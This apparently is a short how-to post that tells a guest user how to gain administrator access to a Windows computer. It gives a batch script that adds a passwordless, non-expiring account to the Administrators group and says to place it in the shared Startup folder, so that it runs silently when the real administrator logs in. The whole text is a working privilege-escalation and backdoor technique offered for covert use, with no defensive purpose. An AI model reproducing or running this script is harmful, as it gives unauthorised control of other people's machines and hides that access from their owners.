To create an administrator account using the guest account is easy. Just
follow the steps :
Open Notepad, paste the following :
net user Newadmin /add /expires:never /passwordreq:no
net localgroup “Administrators” /add Newadmin
And save it to a bat file.
Now place this bat file in location local:\Documents and Settings\All Users\Start Menu\Programs\Startup
And when your admin logs into the system, the new account will be
automatically created without the notice of the user. Next time when you
login, you will get the user account for you.